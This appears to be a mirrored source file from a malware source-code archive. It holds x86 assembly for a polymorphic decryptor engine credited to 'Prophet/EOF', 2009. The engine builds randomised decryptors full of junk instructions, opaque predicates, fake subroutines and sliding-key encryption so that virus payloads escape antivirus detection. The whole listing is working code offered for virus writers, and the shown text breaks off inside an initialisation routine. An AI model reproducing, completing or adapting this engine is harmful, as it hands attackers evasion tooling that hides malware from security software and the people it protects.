mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1808 lines
40 KiB
PHP
1808 lines
40 KiB
PHP
;---------------------------------------------------------------------------------------------------------;
|
|
; __ __ ___ __ ___ ;
|
|
; / )_ _ / /__)_ / _ _/ (_ / )(_ ;
|
|
; /(_/(// /( / / ()/)/)(- / /__(__/ / ;
|
|
; / ;
|
|
; ;
|
|
; __ ;
|
|
; /__)_ _ _ _ _/ ;
|
|
; / / (-_) (-/)/ ;
|
|
; ;
|
|
; ;
|
|
; _____ ___ ___ ;
|
|
; /\ __`\ /'___\ /'___\ __ ;
|
|
; \ \ \/\ \ /\ \__/ /\ \__/ __ ___ ____ /\_\ __ __ __ ;
|
|
; \ \ \ \ \\ \ ,__\\ \ ,__\ /'__`\ /' _ `\ /',__\\/\ \ /\ \/\ \ /'__`\ ;
|
|
; \ \ \_\ \\ \ \_/ \ \ \_//\ __/ /\ \/\ \ /\__, `\\ \ \\ \ \_/ |/\ __/ ;
|
|
; \ \_____\\ \_\ \ \_\ \ \____\\ \_\ \_\\/\____/ \ \_\\ \___/ \ \____\ ;
|
|
; \/_____/ \/_/ \/_/ \/____/ \/_/\/_/ \/___/ \/_/ \/__/ \/____/ ;
|
|
; ;
|
|
; ;
|
|
; ____ ___ ____ ___ ;
|
|
; /\ _`\ /\_ \ /\ _`\ __ /'___`\ ;
|
|
; \ \ \L\ \ ___\//\ \ __ __ \ \ \L\_\ ___ __ /\_\ ___ __ /\_\ /\ \ ;
|
|
; \ \ ,__// __`\\ \ \ /\ \/\ \ \ \ _\L /' _ `\ /'_ `\\/\ \ /' _ `\ /'__`\ \/_/// /__ ;
|
|
; \ \ \//\ \L\ \\_\ \_\ \ \_\ \ \ \ \L\ \/\ \/\ \ /\ \L\ \\ \ \ /\ \/\ \ /\ __/ // /_\ \ ;
|
|
; \ \_\\ \____//\____\\/`____ \ \ \____/\ \_\ \_\\ \____ \\ \_\\ \_\ \_\\ \____\ /\______/ ;
|
|
; \/_/ \/___/ \/____/ `/___/> \ \/___/ \/_/\/_/ \/___L\ \\/_/ \/_/\/_/ \/____/ \/_____/ ;
|
|
; /\___/ /\____/ ;
|
|
; \/__/ \_/__/ ;
|
|
; ;
|
|
; ;
|
|
; ;
|
|
;v0.8 (beta) public version ;
|
|
;---------------------------------------------------------------------------------------------------------;
|
|
; Ring3/0 Polymorphic Decryptor Creator
|
|
;
|
|
; Features
|
|
;
|
|
;Generates:
|
|
;
|
|
;Memory Read/Write
|
|
;Loops , Predicates
|
|
;Subroutines
|
|
;
|
|
;Realistic Garbage
|
|
;Position Independent
|
|
;Sliding Key
|
|
;
|
|
;This is not final version. Many improvements are planned. (Apis , PRIDE , SSE/FPU instructions)
|
|
;Watch eof-project.net or vx.netlux.org for new releases
|
|
;
|
|
;Prophet/EOF(24.8.2009)
|
|
;
|
|
poly_vars struct
|
|
; VARIABLES INITIALIZED BEFORE POLY CALL
|
|
poly_ptr_code_base_va dd ? ; virtual-address of encrypted code
|
|
poly_ptr_code_base_raw dd ? ; raw-address of encrypted code
|
|
poly_ptr_decrypt_buf_va dd ? ; Va of buffer where code will be decrypted (0 if dont move code)
|
|
poly_code_size dd ? ; size of code to crypt
|
|
poly_code_entry_offset dd ? ; ep offset relative to code_base_va
|
|
poly_decryptor_base dd ? ; ptr to buffer where decrytor will be created
|
|
poly_decryptor_base_va dd ? ; virtual-address of decryptor base
|
|
poly_decryptor_size dd ? ; size of created decryptor
|
|
poly_options dd ? ; poly options
|
|
poly_garbage_level dd ? ; level of garbage (1-lowest 3-average 5-huge)
|
|
poly_read_mem_base dd ? ; va address of readable memory
|
|
poly_read_mem_size dd ? ; size of readable memory
|
|
|
|
; VARIABLES USED DURING POLY ENGINE RUN
|
|
poly_algo1 dd ? ; crypt algorythm
|
|
poly_algo2 dd ? ; key-sliding algorythm
|
|
poly_key dd ? ; encrypt key
|
|
poly_slide_key dd ? ; slide key
|
|
poly_ptr_reg dd ? ; register used as ptr to memory
|
|
poly_key_reg dd ? ; register which is keeping decrypt key
|
|
poly_loop_reg dd ? ; loop counter
|
|
poly_store_reg dd ? ; used in move-data loop
|
|
poly_junk_mem_reg dd ? ; junk mem accesses ptr reg
|
|
poly_junk_mem_pos dd ? ; value to which reg was initialized
|
|
poly_reg_usage dd ? ; watch register usage
|
|
poly_random_seed dd ? ; random seed
|
|
poly_garbler_flags dd ? ; keep garbler state
|
|
poly_entry_offset dd ? ; offset of poly entry-point relative to poly base
|
|
|
|
poly_subroutines_count dd ? ; number of poly subs generated
|
|
poly_subroutines_table db 1024 DUP(0)
|
|
poly_vars ends
|
|
|
|
;
|
|
; Poly Options Flags
|
|
;
|
|
|
|
POLY_OPT_POS_INDEPENDENT equ 1 ; use/dont use delta offset in decryptor
|
|
POLY_OPT_STACK_WRITES equ 2 ; (not implemented)
|
|
POLY_OPT_MEM_WRITES equ 4 ; ( buggy )
|
|
POLY_OPT_USE_SUBROUTINES equ 8 ; generate junk subroutines
|
|
POLY_OPT_MEM_ACC_DIRECT equ 16 ; do direct mem accesses (dont use if pe is reloc-able)
|
|
POLY_OPT_MINIMAL_GARBAGE equ 32 ; generate minimal amount of garbage
|
|
|
|
;
|
|
; Poly configuration
|
|
;
|
|
; POLY_DEBUG equ 1 ; poly-debugging regime (comment out to disable)
|
|
; POLY_DISABLE_GARBAGE equ 1 ; disable garbage generator (comment out to enable)
|
|
POLY_SUBROUTINES_MAX equ 5 ; max count of poly subroutines
|
|
POLY_SUBR_PARAMS_MAX equ 6 ; max count of sub arguments
|
|
; POLY_ALIGN_SUBR equ 1 ; align subroutines to 0fh (comment out to disable)
|
|
POLY_ALIGN_BYTE equ 0cch ; alignment byte
|
|
POLY_ESP_ACC_RNG_MAX equ 10 ; max stack access displacement [esp +- random(max) * 4]
|
|
POLY_LOOP_ITERATION_MAX equ 10000h ; max loop iterations
|
|
POLY_LOOP_ITERATION_MIN equ 1000h ; min loop iterations
|
|
|
|
;
|
|
; Occurence of garbage
|
|
;
|
|
POLY_OCCUR_LOOP equ 2
|
|
POLY_OCCUR_PREDICATE equ 5
|
|
POLY_OCCUR_PUSH_POP equ 7
|
|
POLY_OCCUR_CALL equ 2
|
|
POLY_OCCUR_API equ 0 ; not implemented
|
|
POLY_OCCUR_IMM equ 5
|
|
POLY_OCCUR_MODRM equ 12
|
|
|
|
POLY_OCCUR_COUNT equ ( POLY_OCCUR_LOOP + POLY_OCCUR_PREDICATE + POLY_OCCUR_PUSH_POP + POLY_OCCUR_CALL + POLY_OCCUR_API + POLY_OCCUR_IMM + POLY_OCCUR_MODRM )
|
|
|
|
POLY_MODRM_OCCUR_REG_REG equ 0
|
|
POLY_MODRM_OCCUR_MEM equ 0
|
|
POLY_MODRM_OCCUR_STACK equ 0
|
|
|
|
;
|
|
; Garbler state flags
|
|
;
|
|
|
|
POLY_FLAG_IN_LOOP equ 1 ; in loop
|
|
POLY_FLAG_IN_SUBR equ 2 ; in subroutine
|
|
POLY_FLAG_IN_PRED equ 4 ; in predicate
|
|
|
|
assume ebp:ptr poly_vars
|
|
.code
|
|
PolyEngineEntry: jmp PolyEngine
|
|
|
|
PolyGarbleInit: pushad
|
|
|
|
; check if subroutines flag is set
|
|
mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_USE_SUBROUTINES
|
|
test eax,eax
|
|
jz Garble_Init_No_Sub
|
|
|
|
; create junk subroutines
|
|
mov eax,POLY_SUBROUTINES_MAX
|
|
call random
|
|
test eax,eax
|
|
jz PolyGarbleInitEnd
|
|
|
|
mov ecx,eax
|
|
|
|
Garble_Init_Loop1: call Garble_Create_funct
|
|
loop Garble_Init_Loop1
|
|
|
|
Garble_Init_No_Sub: mov dword ptr [esp],edi
|
|
|
|
PolyGarbleInitEnd: popad
|
|
retn
|
|
|
|
;
|
|
; Garbage creator for use in poly engine
|
|
;
|
|
; ESP,EBP must be set as used before calling PolyGarbler
|
|
|
|
; ebp = ptr to poly struct
|
|
; edi = buffer
|
|
PolyGarble:
|
|
ifndef POLY_DISABLE_GARBAGE
|
|
pushad
|
|
|
|
mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_MINIMAL_GARBAGE
|
|
test eax,eax
|
|
jz PolyGarbleNormal
|
|
|
|
mov ecx,1
|
|
jmp PolyGarbleCont1
|
|
|
|
PolyGarbleNormal: mov ecx,dword ptr [ebp].poly_garbage_level ; deepness of recursivity
|
|
imul ecx,3
|
|
|
|
PolyGarbleCont1: call Garble
|
|
|
|
mov dword ptr [esp],edi
|
|
popad
|
|
endif ;POLY_DISABLE_GARBAGE
|
|
retn
|
|
|
|
;
|
|
; Recursive Garbler
|
|
;
|
|
|
|
Garble:
|
|
mov eax,POLY_OCCUR_COUNT
|
|
call random
|
|
|
|
cmp eax,POLY_OCCUR_PUSH_POP
|
|
jb G_Push_Pop
|
|
sub eax,POLY_OCCUR_PUSH_POP
|
|
|
|
cmp eax,POLY_OCCUR_PREDICATE
|
|
jb G_Predicate
|
|
sub eax,POLY_OCCUR_PREDICATE
|
|
|
|
cmp eax,POLY_OCCUR_LOOP
|
|
jb G_Loop
|
|
sub eax,POLY_OCCUR_LOOP
|
|
|
|
cmp eax,POLY_OCCUR_CALL
|
|
jb G_Call
|
|
sub eax,POLY_OCCUR_CALL
|
|
|
|
; cmp eax,POLY_OCCUR_MODRM
|
|
|
|
cmp eax,POLY_OCCUR_IMM
|
|
jb G_Imm
|
|
sub eax,POLY_OCCUR_IMM
|
|
|
|
; cmp eax,POLY_OCCUR_API
|
|
|
|
call Garble_Create_Modrm
|
|
jmp Garble_cont
|
|
|
|
; loop
|
|
G_Loop: call Garble_Loop
|
|
jmp Garble_cont
|
|
|
|
; opaque predicate
|
|
G_Predicate: call Garble_Predicate
|
|
jmp Garble_cont
|
|
|
|
; push pop
|
|
G_Push_Pop: call Garble_Push_Pop
|
|
jmp Garble_cont
|
|
|
|
G_Modrm: jmp Garble_cont
|
|
|
|
; immediate
|
|
G_Imm: call Garble_Create_Imm
|
|
jmp Garble_cont
|
|
; call to junk proc
|
|
G_Call: call Garble_Sub_Call
|
|
|
|
Garble_cont: test ecx,ecx
|
|
jz GarbleEnd
|
|
dec ecx
|
|
|
|
call Garble
|
|
GarbleEnd: retn
|
|
|
|
;
|
|
; Create Opaque predicate
|
|
;
|
|
Garble_Predicate: cmp ecx,4
|
|
jbe Garble_Predict_End
|
|
|
|
cmp ecx,10
|
|
ja Garble_Predict_End ; just temporal solution to short-near problem
|
|
|
|
call Is_In_Pred
|
|
test eax,eax
|
|
jnz Garble_Predict_End
|
|
|
|
mov eax,8
|
|
call random
|
|
test eax,eax
|
|
jnz Garble_Predict_Jcc
|
|
|
|
; JMP
|
|
mov eax,0ebh
|
|
stosb
|
|
push edi
|
|
|
|
jmp Garble_Predict_C
|
|
Garble_Predict_Jcc: call Garble_Create_Cmp
|
|
|
|
mov eax,10h
|
|
call random
|
|
add eax,70h
|
|
stosb
|
|
push edi
|
|
inc edi
|
|
|
|
Garble_Predict_C: call Set_In_Pred
|
|
|
|
dec ecx
|
|
call Garble ; recursive call
|
|
pop ebx
|
|
|
|
call Set_In_Pred
|
|
|
|
mov eax,edi
|
|
sub eax,ebx
|
|
dec eax
|
|
mov byte ptr [ebx],al
|
|
|
|
Garble_Predict_End: retn
|
|
|
|
|
|
;
|
|
; Create push/pop
|
|
;
|
|
Garble_Push_Pop: cmp ecx,2
|
|
jbe Garble_Push_Pop_End
|
|
|
|
call Garble_Create_Push
|
|
|
|
dec ecx
|
|
call Garble ; recursive call
|
|
|
|
call get_free_reg_32_no_set
|
|
cmp eax,-1
|
|
jne Garble_Push_Pop_c
|
|
|
|
mov eax,0004c483h ; no free reg , create add esp,4
|
|
stosd
|
|
dec edi
|
|
jmp Garble_Push_Pop_End
|
|
|
|
Garble_Push_Pop_c: add al,58h ; pop free reg
|
|
stosb
|
|
|
|
Garble_Push_Pop_End: retn
|
|
|
|
;
|
|
; Generate Loop
|
|
;
|
|
|
|
Garble_Loop: call Is_In_Loop
|
|
test eax,eax
|
|
jnz Garble_Loop_End
|
|
|
|
cmp ecx,5
|
|
jbe Garble_Loop_End
|
|
|
|
call get_free_reg_32
|
|
cmp eax,-1
|
|
je Garble_Loop_End
|
|
|
|
call Set_In_Loop ; set that we are in loop
|
|
|
|
mov ebx,eax
|
|
mov eax,POLY_LOOP_ITERATION_MAX ; max number of loop iterations
|
|
call random
|
|
add eax,POLY_LOOP_ITERATION_MIN ; minimal iterations count
|
|
push ecx
|
|
mov ecx,eax
|
|
|
|
; initialize loop counter register
|
|
call Asm_Mov_Reg_Imm_32
|
|
pop ecx
|
|
|
|
; save loop start
|
|
push edi
|
|
; save counter register
|
|
push ebx
|
|
|
|
dec ecx
|
|
call Garble
|
|
pop eax
|
|
|
|
mov ebx,eax
|
|
call unset_reg_32
|
|
; dec loop counter
|
|
mov al,48h
|
|
add al,bl
|
|
stosb
|
|
|
|
; test counter reg
|
|
mov al,085h
|
|
stosb
|
|
|
|
mov eax,ebx
|
|
rol eax,3
|
|
add eax,ebx
|
|
add eax,0c0h
|
|
stosb
|
|
|
|
; jcc loop
|
|
pop eax
|
|
sub eax,edi
|
|
push eax
|
|
not eax
|
|
cmp eax,255 / 2
|
|
pop eax
|
|
jbe Garble_Loop_Short
|
|
|
|
; near jcc
|
|
sub eax,6
|
|
mov word ptr [edi],0850fh
|
|
mov dword ptr [edi + 2],eax
|
|
add edi,6
|
|
|
|
jmp Garble_Loop_Cont
|
|
; short jcc
|
|
Garble_Loop_Short: sub eax,2
|
|
mov byte ptr [edi],75h ; jnz
|
|
mov byte ptr [edi + 1],al
|
|
add edi,2
|
|
|
|
Garble_Loop_Cont: call Set_In_Loop ; unset in-loop garbler state
|
|
|
|
Garble_Loop_End: retn
|
|
|
|
;
|
|
; Generate call to poly subroutine
|
|
;
|
|
Garble_Sub_Call: push ecx
|
|
push ebx
|
|
cmp dword ptr [ebp].poly_subroutines_count,0
|
|
je Garble_Sub_Call_End
|
|
|
|
call Is_In_Subr ; dont make subroutine call inside subroutine
|
|
test eax,eax
|
|
jnz Garble_Sub_Call_End
|
|
|
|
; pick random subroutine from table
|
|
mov eax,dword ptr [ebp].poly_subroutines_count
|
|
call random
|
|
lea eax,[eax * 8]
|
|
|
|
lea ebx,[ebp].poly_subroutines_table
|
|
add ebx,eax
|
|
|
|
; if junk mem ptr is initialized store it before subroutine call
|
|
cmp dword ptr [ebp].poly_junk_mem_pos,0
|
|
je Garble_Sub_No_Save1
|
|
|
|
mov ecx,dword ptr [ebp].poly_junk_mem_reg
|
|
add ecx,50h
|
|
mov byte ptr [edi],cl ; push ptr reg
|
|
inc edi
|
|
|
|
Garble_Sub_No_Save1: mov ecx,dword ptr [ebx + 4] ; number of arguments
|
|
test ecx,ecx
|
|
jz Garble_Sub_No_Arg
|
|
|
|
; create fake argument passing
|
|
Garble_Sub_Arg: call Garble_Create_Push
|
|
loop Garble_Sub_Arg
|
|
|
|
; create call to function
|
|
Garble_Sub_No_Arg: mov eax,dword ptr [ebx]
|
|
sub eax,edi
|
|
sub eax,5
|
|
mov byte ptr [edi],0e8h
|
|
inc edi
|
|
stosd
|
|
|
|
; clean stack from arguments (__cdecl)
|
|
mov eax,dword ptr [ebx + 4] ; number of function arguments
|
|
test eax,eax
|
|
jz Garble_Sub_No_Save2
|
|
|
|
imul eax,4
|
|
rol eax,16
|
|
add eax,9000c483h
|
|
stosd
|
|
dec edi
|
|
|
|
; if junk mem ptr is initialized store it before subroutine call
|
|
Garble_Sub_No_Save2: cmp dword ptr [ebp].poly_junk_mem_pos,0
|
|
je Garble_Sub_Call_End
|
|
|
|
mov eax,dword ptr [ebp].poly_junk_mem_reg
|
|
add eax,58h
|
|
stosb ; pop ptr reg
|
|
|
|
Garble_Sub_Call_End: pop ebx
|
|
pop ecx
|
|
retn
|
|
|
|
;
|
|
; Generate Modrm Byte
|
|
;
|
|
|
|
Garble_Create_Modrm_Byte:
|
|
push ebx
|
|
|
|
call get_free_reg_32_no_set
|
|
cmp eax,-1
|
|
je Modrm_reg1_reg1 ; no free reg
|
|
rol eax,3
|
|
mov ebx,eax
|
|
|
|
mov eax,5
|
|
call random
|
|
|
|
test eax,eax
|
|
jz Modrm_Reg_Reg
|
|
|
|
cmp eax,3
|
|
jb Modrm_Stack_Read
|
|
;
|
|
; Mem Access
|
|
Modrm_Mem_Acc: mov eax,3 ; 1:2 to do direct mem32 access
|
|
call random
|
|
test eax,eax
|
|
jz Modrm_Mem_Direct
|
|
|
|
cmp dword ptr [ebp].poly_junk_mem_pos,0
|
|
je Modrm_Mem_Direct ; junk mem ptr wasnt initialized , do direct mem32 acc anyway
|
|
|
|
Modrm_Mem_AccNoDisp: mov eax,dword ptr [ebp].poly_junk_mem_reg
|
|
add eax,ebx
|
|
stosb
|
|
|
|
mov eax,dword ptr [ebp].poly_read_mem_size
|
|
sub eax,4
|
|
call random
|
|
add eax,dword ptr [ebp].poly_read_mem_base
|
|
|
|
mov ebx,eax
|
|
sub ebx,dword ptr [ebp].poly_junk_mem_pos
|
|
|
|
mov eax,6
|
|
call random
|
|
|
|
cmp eax,0
|
|
je Modrm_Mem_Disp32
|
|
|
|
cmp eax,4
|
|
jb Modrm_Mem_Disp8
|
|
|
|
pop ebx
|
|
retn
|
|
|
|
Modrm_Mem_Disp8: add byte ptr [edi - 1],40h
|
|
mov byte ptr [edi],bl
|
|
inc edi
|
|
|
|
pop ebx
|
|
retn
|
|
|
|
Modrm_Mem_Disp32: add byte ptr [edi - 1],80h
|
|
mov dword ptr [edi],ebx
|
|
add edi,4
|
|
|
|
pop ebx
|
|
retn
|
|
|
|
;
|
|
; Direct memory access (mov reg,[mem32])
|
|
; only if poly is position independent
|
|
Modrm_Mem_Direct: mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_MEM_ACC_DIRECT
|
|
test eax,eax
|
|
jnz Modrm_Stack_Read
|
|
|
|
cmp dword ptr [ebp].poly_read_mem_base,0
|
|
je Modrm_Stack_Read
|
|
|
|
mov eax,5
|
|
add eax,ebx
|
|
stosb
|
|
|
|
mov eax,dword ptr [ebp].poly_read_mem_size
|
|
call random
|
|
add eax,dword ptr [ebp].poly_read_mem_base
|
|
|
|
stosd
|
|
|
|
jmp Modrm_End
|
|
|
|
;
|
|
; Stack Access ( reg,[esp/ebp +- x] )
|
|
Modrm_Stack_Read: mov eax,ebx
|
|
add eax,45h
|
|
mov byte ptr [edi],al
|
|
|
|
mov eax,2
|
|
call random
|
|
test eax,eax
|
|
jz Modrm_Stack_Ebp
|
|
|
|
mov byte ptr [edi + 1],24h
|
|
sub byte ptr [edi],1
|
|
inc edi
|
|
Modrm_Stack_Ebp: inc edi
|
|
|
|
mov eax,POLY_ESP_ACC_RNG_MAX
|
|
call random
|
|
imul eax,4
|
|
|
|
mov ebx,eax
|
|
mov eax,2 ; +/- disp
|
|
call random
|
|
test eax,eax
|
|
jz Modrm_Stack_DispPos
|
|
|
|
xor eax,eax
|
|
sub eax,ebx
|
|
Modrm_Stack_DispPos: mov byte ptr [edi],al
|
|
inc edi
|
|
|
|
jmp Modrm_End
|
|
|
|
Modrm_Reg_Reg: call get_reg_32_no_stack
|
|
add eax,ebx ; free reg
|
|
add eax,0c0h
|
|
stosb
|
|
jmp Modrm_End
|
|
|
|
; in case when no reg is free to use
|
|
Modrm_reg1_reg1: call get_reg_32 ; mov eax/eax
|
|
mov ah,al
|
|
rol al,3
|
|
add al,ah
|
|
add al,0c0h
|
|
stosb
|
|
|
|
Modrm_End: pop ebx
|
|
retn
|
|
|
|
;
|
|
; Generate CMP/TEST
|
|
;
|
|
Garble_Create_Cmp: mov eax,4
|
|
cmp eax,0
|
|
je Garble_Cmp_Imm
|
|
|
|
cmp eax,1
|
|
je Garble_Cmp_Test
|
|
|
|
Garble_Cmp_Cmp: mov eax,2
|
|
call random
|
|
add eax,38h
|
|
stosb
|
|
call Garble_Create_Modrm_Byte
|
|
retn
|
|
|
|
Garble_Cmp_Test: mov eax,2
|
|
call random
|
|
add eax,84h
|
|
stosb
|
|
call Garble_Create_Modrm_Byte
|
|
retn
|
|
|
|
Garble_Cmp_Imm: push ebx
|
|
push ecx
|
|
|
|
mov eax,3
|
|
call random
|
|
mov ebx,eax
|
|
add eax,81h
|
|
stosb
|
|
|
|
mov ecx,edi
|
|
call Garble_Create_Modrm_Byte
|
|
|
|
and byte ptr [ecx],11000111b
|
|
add byte ptr [ecx],7 SHL 3
|
|
|
|
mov eax,-1
|
|
call random
|
|
|
|
test ebx,ebx
|
|
jnz Garble_Cmp_Imm8
|
|
|
|
stosd
|
|
jmp Garble_Cmp_ImmC
|
|
|
|
Garble_Cmp_Imm8: stosb
|
|
|
|
Garble_Cmp_ImmC: pop ecx
|
|
pop ebx
|
|
|
|
retn
|
|
|
|
|
|
;
|
|
; Generate Push
|
|
;
|
|
|
|
Garble_Create_Push: mov eax,5
|
|
call random
|
|
cmp eax,2
|
|
jbe Garble_Push_Reg32
|
|
|
|
cmp eax,3
|
|
je Garble_Push_Modrm
|
|
|
|
Garble_Push_Imm: mov eax,2
|
|
call random
|
|
push ebx
|
|
mov ebx,eax
|
|
rol eax,1
|
|
add eax,68h
|
|
stosb
|
|
|
|
mov eax,-1
|
|
call random
|
|
|
|
test ebx,ebx
|
|
pop ebx
|
|
jnz Garble_Push_Imm8
|
|
;imm32
|
|
stosd
|
|
retn
|
|
Garble_Push_Imm8: stosb
|
|
retn
|
|
|
|
Garble_Push_Reg32: call get_reg_32
|
|
add al,50h
|
|
stosb
|
|
retn
|
|
|
|
Garble_Push_Modrm: mov al,0ffh
|
|
stosb
|
|
|
|
push edi
|
|
call Garble_Create_Modrm_Byte
|
|
pop eax
|
|
|
|
and byte ptr [eax],11000111b
|
|
add byte ptr [eax],6 SHL 3
|
|
|
|
retn
|
|
;
|
|
; Generate Modrm instruction
|
|
;
|
|
|
|
;00 ADD
|
|
;08 OR
|
|
;20 AND
|
|
;28 SUB
|
|
;30 XOR
|
|
;88 MOV
|
|
Garble_Create_Modrm: ; 66h prefix ?
|
|
mov eax,7
|
|
call random
|
|
test eax,eax
|
|
jnz Garble_Modrm_No_66
|
|
|
|
mov byte ptr [edi],66h ; WORD PTR
|
|
inc edi
|
|
|
|
Garble_Modrm_No_66: call is_any_free_32 ; do we have any free reg ?
|
|
test eax,eax
|
|
jz Garble_ModrmNo_Regs
|
|
|
|
push 08202828h
|
|
push 30300000h
|
|
push 88888888h
|
|
mov ebx,esp
|
|
mov eax,12
|
|
call random
|
|
mov al,byte ptr [ebx + eax]
|
|
add al,3
|
|
mov ebx,edi
|
|
stosb
|
|
add esp,12
|
|
|
|
jmp @f
|
|
|
|
; create mov reg1,reg1 as no regs are free
|
|
Garble_ModrmNo_Regs: mov eax,89h
|
|
stosb
|
|
|
|
@@: call Garble_Create_Modrm_Byte
|
|
|
|
; test if mem writes are allowed
|
|
mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_MEM_WRITES
|
|
test eax,eax
|
|
jz Garble_Modrm_Read
|
|
|
|
mov eax,2
|
|
call random
|
|
test eax,eax
|
|
jnz Garble_Modrm_Read
|
|
|
|
cmp byte ptr [ebx],8dh ; lea
|
|
je Garble_Modrm_Read
|
|
|
|
mov al,byte ptr [ebx + 1]
|
|
and al,11000000b
|
|
cmp al,0c0h ; mod reg/reg ?
|
|
je Garble_Modrm_Read
|
|
|
|
mov al,byte ptr [ebx + 1]
|
|
and al,111b
|
|
cmp al,100b ; sib
|
|
je Garble_Modrm_Read
|
|
|
|
cmp al,101b
|
|
jne Garble_Modrm_Write
|
|
|
|
mov al,byte ptr [ebx + 1]
|
|
and al,11000000b
|
|
test al,al
|
|
jnz Garble_Modrm_Read
|
|
; do mem write now
|
|
Garble_Modrm_Write: xor byte ptr [ebx],2h
|
|
|
|
Garble_Modrm_Read: pop ebx
|
|
retn
|
|
|
|
;
|
|
; Generate imm instruction
|
|
;
|
|
|
|
Garble_Create_Imm: push ebx
|
|
call get_free_reg_32_no_set
|
|
mov ebx,eax
|
|
cmp eax,-1
|
|
je Garble_Create_Imm_E
|
|
|
|
mov eax,5
|
|
call random
|
|
test eax,eax
|
|
jz Garble_Imm_Init_Ptr
|
|
|
|
cmp eax,1
|
|
jbe Garble_Imm_Inc_Dec
|
|
|
|
mov eax,0b8h
|
|
add eax,ebx
|
|
stosb
|
|
|
|
mov eax,-1
|
|
call random
|
|
stosd
|
|
|
|
pop ebx
|
|
retn
|
|
|
|
; c1 group
|
|
; 81 83 group
|
|
Garble_Imm_Groups: mov eax,4
|
|
call random
|
|
|
|
push 818383c1h
|
|
mov al,byte ptr [esp + eax]
|
|
add esp,4
|
|
stosb
|
|
|
|
call Garble_Create_Modrm_Byte
|
|
pop ebx
|
|
retn
|
|
; inc/dec reg
|
|
Garble_Imm_Inc_Dec: mov eax,2
|
|
call random
|
|
imul eax,8
|
|
add eax,40h
|
|
add eax,ebx
|
|
stosb
|
|
pop ebx
|
|
retn
|
|
|
|
;
|
|
; Initialize pointer
|
|
Garble_Imm_Init_Ptr: push ecx
|
|
|
|
call Is_In_Pred ; dont setup ptr in predicate
|
|
test eax,eax
|
|
jnz Garble_Create_ImmE1
|
|
|
|
call Is_In_Loop
|
|
test eax,eax
|
|
jnz Garble_Create_ImmE1 ; dont setup ptr in loop
|
|
|
|
cmp dword ptr [ebp].poly_read_mem_base,0
|
|
je Garble_Create_ImmE1
|
|
|
|
mov eax,dword ptr [ebp].poly_read_mem_size
|
|
cmp eax,10
|
|
jb Garble_Create_ImmE1
|
|
|
|
sub eax,4
|
|
call random
|
|
add eax,dword ptr [ebp].poly_read_mem_base
|
|
mov ecx,eax
|
|
|
|
cmp dword ptr [ebp].poly_junk_mem_pos,0
|
|
je Garble_Imm_No_Unset ; reg wasnt set , no need to unset
|
|
|
|
mov eax,dword ptr [ebp].poly_junk_mem_reg
|
|
call unset_reg_32 ; release old ptr register
|
|
|
|
Garble_Imm_No_Unset: mov dword ptr [ebp].poly_junk_mem_reg,ebx
|
|
mov dword ptr [ebp].poly_junk_mem_pos,ecx
|
|
|
|
push eax
|
|
mov eax,dword ptr [ebp].poly_options
|
|
and eax,POLY_OPT_MEM_ACC_DIRECT
|
|
test eax,eax
|
|
pop eax
|
|
jz Grable_Imm_indir
|
|
call Asm_Mov_Reg_Imm_32 ; FIX HERE call Asm_Init_Ptr
|
|
jmp @f
|
|
Grable_Imm_indir: call Asm_Init_Ptr
|
|
|
|
@@: mov eax,ebx
|
|
call set_reg_32
|
|
|
|
Garble_Create_ImmE1: pop ecx
|
|
Garble_Create_Imm_E: pop ebx
|
|
retn
|
|
|
|
;
|
|
; Create Junk Function
|
|
;
|
|
|
|
Garble_Create_funct:
|
|
push ebx
|
|
push ecx
|
|
mov eax,dword ptr [ebp].poly_subroutines_count
|
|
imul eax,8
|
|
lea ebx,[ebp].poly_subroutines_table
|
|
add ebx,eax
|
|
|
|
mov dword ptr [ebx],edi ; store subroutine entry to table
|
|
mov eax,POLY_SUBR_PARAMS_MAX
|
|
call random
|
|
mov dword ptr [ebx + 4],eax ; number of sub params
|
|
|
|
inc dword ptr [ebp].poly_subroutines_count
|
|
|
|
; init stack frame
|
|
mov byte ptr [edi],55h ; push ebp
|
|
mov word ptr [edi + 1],0ec8bh ; mov ebp,esp
|
|
add edi,3
|
|
|
|
mov eax,dword ptr [ebp].poly_garbage_level
|
|
imul eax,2
|
|
call random
|
|
inc eax
|
|
mov ecx,eax
|
|
|
|
call Set_In_Subr ; set in subroutine flag
|
|
mov ebx,dword ptr [ebp].poly_reg_usage ; store reg usage
|
|
|
|
Create_Funct_Loop: call PolyGarble
|
|
loop Create_Funct_Loop
|
|
|
|
call Set_In_Subr
|
|
mov dword ptr [ebp].poly_reg_usage,ebx ; restore reg usage
|
|
|
|
mov byte ptr [edi],5dh ; pop ebp
|
|
mov byte ptr [edi + 1],0c3h ; retn
|
|
add edi,2
|
|
|
|
ifdef POLY_ALIGN_SUBR
|
|
; now do the compiler-like 16 align
|
|
xor ecx,ecx
|
|
sub ecx,edi
|
|
and ecx,0fh
|
|
mov al,POLY_ALIGN_BYTE
|
|
|
|
test ecx,ecx
|
|
jz Create_align_End
|
|
|
|
rep stosb
|
|
|
|
endif ; POLY_ALIGN_SUBR ;
|
|
|
|
Create_align_End: xor eax,eax
|
|
mov dword ptr [ebp].poly_junk_mem_reg,eax ; clear initialized junk mem ptr
|
|
mov dword ptr [ebp].poly_junk_mem_pos,eax
|
|
|
|
pop ecx
|
|
pop ebx
|
|
retn
|
|
|
|
;
|
|
; Standalone Garbage Creator
|
|
;
|
|
; for external use
|
|
; eax = ptr poly_vars
|
|
; ecx = amount of garbage
|
|
PolyCreateGarbage: pushad
|
|
|
|
mov ebp,eax
|
|
|
|
call PolyInit
|
|
call PolyGarbleInit
|
|
|
|
mov edi,dword ptr [ebp].poly_decryptor_base
|
|
mov eax,edi
|
|
|
|
test ecx,ecx
|
|
jz @end
|
|
@@: call PolyGarble ; Internal poly garbler
|
|
loop @b
|
|
|
|
sub edi,eax
|
|
mov dword ptr [ebp].poly_decryptor_size,edi
|
|
mov dword ptr [esp + 1ch],edi ;save size to eax
|
|
@end: popad
|
|
retn
|
|
|
|
;
|
|
; Poly initialization routine
|
|
;
|
|
; ebp = ptr poly_vars
|
|
PolyInit: pushad
|
|
|
|
; fill poly state memory with zeroes
|
|
xor eax,eax
|
|
mov ecx,15
|
|
lea edi,[ebp].poly_algo1
|
|
rep stosd
|
|
|
|
; set esp,ebp as used regs
|
|
mov eax,4
|
|
call set_reg_32
|
|
inc eax
|
|
call set_reg_32
|
|
